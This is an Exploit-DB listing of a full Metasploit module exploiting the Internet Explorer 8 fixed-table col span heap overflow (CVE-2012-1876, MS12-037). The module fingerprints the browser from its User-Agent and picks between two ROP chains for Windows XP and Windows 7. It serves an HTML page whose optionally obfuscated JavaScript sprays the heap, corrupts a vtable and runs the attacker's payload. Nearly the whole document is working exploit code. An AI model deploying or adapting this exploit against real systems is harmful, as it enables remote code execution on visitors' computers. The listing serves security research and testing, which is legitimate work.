标题: Microsoft Internet Explorer - Fixed Table Col Span Heap Overflow (MS12-037) (Metasploit) EDB-ID: 20174 CVE: 2012-1876 类型: REMOTE 平台: WINDOWS 发布日期: 2012-08-02 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::BrowserAutopwn
 autopwn_info({
  :os_name    => OperatingSystems::WINDOWS,
  :ua_minver  => "8.0",
  :ua_maxver  => "8.0",
  :rank       => NormalRanking, # reliable memory corruption
  :javascript => true
 })

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft Internet Explorer Fixed Table Col Span Heap Overflow',
   'Description'    => %q{
     This module exploits a heap overflow vulnerability in Internet Explorer caused
    by an incorrect handling of the span attribute for col elements from a fixed table,
    when they are modified dynamically by javascript code.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Alexandre Pelletier',                     # Vulnerability analysis
     'mr_me <steventhomasseeley[at]gmail.com>', # Metasploit module
     'binjo',                                   # Metasploit module
     'sinn3r',                                  # Help with the Metasploit module
     'juan'                                     # Help with the Metasploit module
    ],
   'References'     =>
    [
     [ 'CVE', '2012-1876' ],
     [ 'OSVDB', '82866'],
     [ 'BID', '53848' ],
     [ 'MSB', 'MS12-037' ],
     [ 'URL', 'http://www.vupen.com/blog/20120710.Advanced_Exploitation_of_Internet_Explorer_HeapOv_CVE-2012-1876.php' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', {} ],
     [ 'IE 8 on Windows XP SP3 with msvcrt ROP',
      {
       'Rop' => :msvcrt
      }
     ],
     [ 'IE 8 on Windows 7 SP1',
      {
       'Rop' => :jre
      }
     ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jun 12 2012',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
    ], self.class)
 end

 def get_target(agent)
  #If the user is already specified by the user, we'll just use that
  return target if target.name != 'Automatic'

  if agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
   return targets[1]  #IE 8 on Windows XP SP3
  elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
   return targets[2]  #IE 8 on Windows 7 with JRE
  else
   return nil
  end
 end

 def junk(n=4)
  return rand_text_alpha(n).unpack("V").first
 end

 def nop
  return make_nops(4).unpack("V").first
 end

 def get_payload(t)

  code = payload.encoded

  # Both ROP chains generated by mona.py - See corelan.be
  case t['Rop']
   when :msvcrt
    print_status("Using msvcrt ROP")
    exec_size = code.length
    rop =
     [
      0x77c4ec01, # retn
      0x77c4ec00, # pop ebp; retn
      0x77c15ed5, # xchg eax,esp; retn (pivot)
      0x77c4e392, # pop eax; retn
      0x77c11120, # <- *&VirtualProtect()
      0x77c2e493, # mov eax, dword ptr ds:[eax]; pop ebp; retn
      junk,
      0x77c2dd6c,
      0x77c4ec00, # pop ebp; retn
      0x77c35459, # ptr to 'push esp; ret'
      0x77c47705, # pop ebx; retn
      exec_size,  # ebx
      0x77c3ea01, # pop ecx; retn
      0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
      0x77c46100, # pop edi; retn
      0x77c46101, # rop nop (-> edi)
      0x77c4d680, # pop edx; retn
      0x00000040, # newProtect (0x40) (-> edx)
      0x77c4e392, # pop eax; retn
      nop,        # nops (-> eax)
      0x77c12df9  # pushad; retn
     ].pack("V*")
   when :jre
    print_status("Using JRE ROP")
    exec_size = code.length
    rop =
     [
      0x7c346c0b, # retn
      0x7c36f970, # pop ebp; retn
      0x7c348b05, # xchg eax,esp; retn (pivot)
      0x7c36f970, # pop ebp; retn [MSVCR71.dll]
      0x7c36f970, # skip 4 bytes [MSVCR71.dll]
      0x7c34373a, # pop ebx ; retn [MSVCR71.dll]
      exec_size,  # ebx
      0x7c3444d0, # pop edx ; retn [MSVCR71.dll]
      0x00000040, # 0x00000040-> edx
      0x7c361829, # pop ecx ; retn [MSVCR71.dll]
      0x7c38f036, # &Writable location [MSVCR71.dll]
      0x7c342766, # pop edi ; retn [MSVCR71.dll]
      0x7c346c0b, # retn (rop nop) [MSVCR71.dll]
      0x7c350564, # pop esi ; retn [MSVCR71.dll]
      0x7c3415a2, # jmp [eax] [MSVCR71.dll]
      0x7c3766ff, # pop eax ; retn [MSVCR71.dll]
      0x7c37a151, # ptr to &VirtualProtect() - 0x0ef [IAT msvcr71.dll]
      0x7c378c81, # pushad # add al,0ef ; retn [MSVCR71.dll]
      0x7c345c30  # ptr to 'push esp; ret ' [MSVCR71.dll]
     ].pack("V*")
  end

  code = rop + code
  return code
 end

 def on_request_uri(cli, request)

  agent = request.headers['User-Agent']
  my_target = get_target(agent)

  # Avoid the attack if the victim doesn't have the same setup we're targeting
  if my_target.nil?
   print_error("Browser not supported: #{agent}")
   send_not_found(cli)
   return
  end

  js_code =  Rex::Text.to_unescape(get_payload(my_target), Rex::Arch.endian(target.arch))

  table_builder = ''

  0.upto(132) do |i|
   table_builder << "<table style=\"table-layout:fixed\" ><col id=\"#{i}\" width=\"41\" span=\"9\" >&nbsp </col></table>"
  end

  # About smash_vtable():
  # * smash the vftable 0x07070024
  # * span => the amount to overwrite
  js_element_id = Rex::Text.rand_text_alpha(4)
  spray_trigger_js = <<-JS

  var dap = "EEEE";
  while ( dap.length < 480 ) dap += dap;

  var padding = "AAAA";
  while ( padding.length < 480 ) padding += padding;

  var filler = "BBBB";
  while ( filler.length < 480 ) filler += filler;

  var arr = new Array();
  var rra = new Array();

  var div_container = document.getElementById("#{js_element_id}");
  div_container.style.cssText = "display:none";

  for (var i=0; i < 500; i+=2) {
   rra[i] = dap.substring(0, (0x100-6)/2);
   arr[i] = padding.substring(0, (0x100-6)/2);
   arr[i+1] = filler.substring(0, (0x100-6)/2);
   var obj = document.createElement("button");
   div_container.appendChild(obj);
  }

  for (var i=200; i<500; i+=2 ) {
   rra[i] = null;
   CollectGarbage();
  }

  function heap_spray(){
   CollectGarbage();

   var shellcode = unescape("#{js_code}");

   while (shellcode.length < 100000)
   shellcode = shellcode + shellcode;
   var onemeg = shellcode.substr(0, 64*1024/2);
   for (i=0; i<14; i++) {
    onemeg += shellcode.substr(0, 64*1024/2);
   }

   onemeg += shellcode.substr(0, (64*1024/2)-(38/2));
   var spray = new Array();

   for (i=0; i<400; i++) {
    spray[i] = onemeg.substr(0, onemeg.length);
   }
  }

  function smash_vtable(){
   var obj_col_0 = document.getElementById("132");
   obj_col_0.width = "1178993";
   obj_col_0.span = "44";
  }

  setTimeout(function(){heap_spray()}, 400);
  setTimeout(function(){smash_vtable()}, 700);
  JS

  if datastore['OBFUSCATE']
   spray_trigger_js = ::Rex::Exploitation::JSObfu.new(spray_trigger_js)
   spray_trigger_js.obfuscate
  end

  # build html
  content = <<-HTML
  <html>
  <body>
  <div id="#{js_element_id}"></div>
  #{table_builder}
  <script language='javascript'>
  #{spray_trigger_js}
  </script>
  </body>
  </html>
  HTML

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)
 end

end URL: https://www.exploit-db.com/exploits/20174